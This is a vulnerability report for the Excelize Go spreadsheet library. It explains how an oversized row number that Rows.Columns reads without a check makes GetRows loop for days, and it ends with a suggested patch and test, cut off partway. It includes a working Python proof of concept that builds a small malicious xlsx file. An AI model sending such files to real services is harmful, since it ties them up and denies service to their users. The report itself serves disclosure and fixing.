Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days

### Summary A worksheet whose `<row r="...">` number is far past Excel's 1,048,576-row limit makes `File.GetRows` and the `Rows` iterator loop once for every missing row. The row limit is checked in `Rows.Next`, but not in `Rows.Columns`, which also reads `<row>` elements. A 1.5 KB file with `<row r="231999999999940">` after an ordinary first row keeps `GetRows` busy for an estimated 11 days (about 4 ns per missing row), using one CPU core and little memory. Any service that calls `GetRows` or iterates `Rows` on an uploaded workbook can be tied up by a single request. ### Details `Rows.Next` checks the row number: ```go rowNum, _ := attrValToInt("r", xmlElement.Attr) if rowNum > TotalRows { rows.err = ErrMaxRows return false } ``` But `Rows.Columns` reads the cells of the current row by consuming tokens until it reaches the *next* `<row>` element, and it sets `rows.curRow` from that element's `r` without the check (rows.go, around line 179 at 3985c1f): ```go if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 { rows.curRow = rowNum } ``` After that, `rows.curRow` is 231999999999940, and each later `Next()` call takes the `rows.curRow >= rows.seekRow` shortcut and returns `true` without reading any XML. `GetRows` then calls `Next()` and `Columns()` once per row number from 2 to 231999999999940. The check in `Next()` never runs, because the oversized `<row>` element was already consumed by `Columns()`. If the oversized row is the *first* row, `Next()` reads it and the existing check works; `TestGetRows` covers only that case. The bug needs a valid row first. ### Proof of concept This script uses only the Python standard library and writes a 1.5 KB workbook: ```python import zipfile parts = { "[Content_Types].xml": '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>', "_rels/.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>', "xl/workbook.xml": '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>', "xl/_rels/workbook.xml.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>', "xl/worksheets/sheet1.xml": '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="231999999999940"><c r="A231999999999940"><v>2</v></c></row></sheetData></worksheet>', } with zipfile.ZipFile("poc.xlsx", "w", zipfile.ZIP_DEFLATED) as z: for name, xml in parts.items(): z.writestr(name, xml) ``` ```go f, _ := excelize.OpenFile("poc.xlsx") rows, err := f.GetRows("Sheet1") // does not return ``` Measured on v2.11.0 (linux/amd64), same file shape: a row number of 2,000,000,000 takes 8.3 s, 4,294,967,297 takes 17.5 s, and 231,999,999,999,940 did not finish in 15 minutes. That's linear, so about 11 days. Max RSS stays at about 10 MB. The same pattern is in `clusterfuzz-testcase-minimized-POIXSSFFuzzer-5937385319563264.xlsx` in Apache POI's public test data (its sheet8.xml has `<row r="231999999999940">`). That's how this was found, by running excelize over POI's test files as part of differential testing with xlsx-lean (https://github.com/keithadler/xlsx-lean). ### Suggested patch Apply the same limit in `Columns()`, and have `Next()` stop once an error is recorded. With this change both files above return `ErrMaxRows` immediately. `go test ./...` passes (about 130 s). The new test case hangs without the change and passes in 0.015 s with it. ```diff --- a/rows.go +++ b/rows.go @@ -97,6 +97,9 @@ type Rows struct { // Next will return true if it finds the next row element. func (rows *Rows) Next() bool { + if rows.err != nil { + return false + } rows.seekRow++ if rows.curRow >= rows.seekRow { rows.curRowOpts = rows.seekRowOpts @@ -176,7 +179,10 @@ func (rows *Rows) Columns(opts ...Options) ([]string, error) { rowIterator.inElement = xmlElement.Name.Local if rowIterator.inElement == "row" { rowNum := 0 - if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 { + if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum > TotalRows { + rows.err, rows.token = ErrMaxRows, nil + return rowIterator.cells, rows.err + } else if rowNum != 0 { rows.curRow = rowNum } else if rows.token == nil { rows.curRow++ --- a/rows_test.go +++ b/rows_test.go @@ -28,6 +28,18 @@ func TestGetRows(t *testing.T) { f.checked = sync.Map{} _, err = f.GetRows("Sheet1") assert.Equal(t, ErrMaxRows, err) + // Test get rows from a file with a row number over the limit after a valid + // row, which is read by Rows.Columns rather than Rows.Next: this used to + // iterate once per missing row, about 2.3e14 times here + f = NewFile() + f.Pkg.Store("xl/worksheets/sheet1.xml", fmt.Appendf(nil, `<worksheet xmlns="%s"…